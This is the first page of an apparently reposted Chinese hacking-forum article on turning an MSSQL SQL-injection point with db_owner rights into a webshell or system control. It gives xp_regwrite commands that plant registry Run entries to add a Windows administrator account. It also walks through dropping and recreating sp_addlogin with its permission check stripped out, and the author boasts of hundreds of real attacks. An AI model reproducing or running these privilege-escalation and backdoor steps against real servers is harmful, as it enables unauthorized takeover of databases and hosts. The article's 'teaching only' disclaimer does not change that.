执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
如何保证Linux操作系统下的密码安全
从TCP/IP配置建立安全的Linux服务器
配置安全的Linux服务器
浅谈Linux优化及安全配置
Linux操作系统平台Vi指令大全
Linux平台下安全防护十大招数
详解 用Linux+Iptables构建防火墙实
几种Linux常用备份方法
win2k平台下mysql的默认设置的脆弱
Hackfing in Mysql5
sql injection终极利用方法
作者:佚名 来源:安全在线 更新时间:2007-8-2 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限


声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。
     记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'
xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(除非是你十分想要搞定的网站)。

       呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。

      假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

     呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。

     在告诉大家之前,我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?


服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 'xwq' 没有运行 DBCC auditevent 的权限。

服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。


呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret    int    -- return value of sp call

    -- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
    dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
    raiserror(15247,-1,-1)
    return (1)
end
ELSE
begin
    dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

    -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
end
ELSE
begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
  raiserror(15419,-1,-1)
   return (1)
end
else if @sid is null
  select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
  raiserror(15433,-1,-1)
   return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
end

    -- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,主要是这里一段再搞鬼
    -- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
    dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
    raiserror(15247,-1,-1)
    return (1)
end
ELSE
begin
    dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end


只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉

drop procedure sp_addlogin


然后再来恢复sp_addlogin


create procedure sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret    int    -- return value of sp call
   
    -- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
end
ELSE
begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
end

-- VAL

[1] [2] [3] [4] [5] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号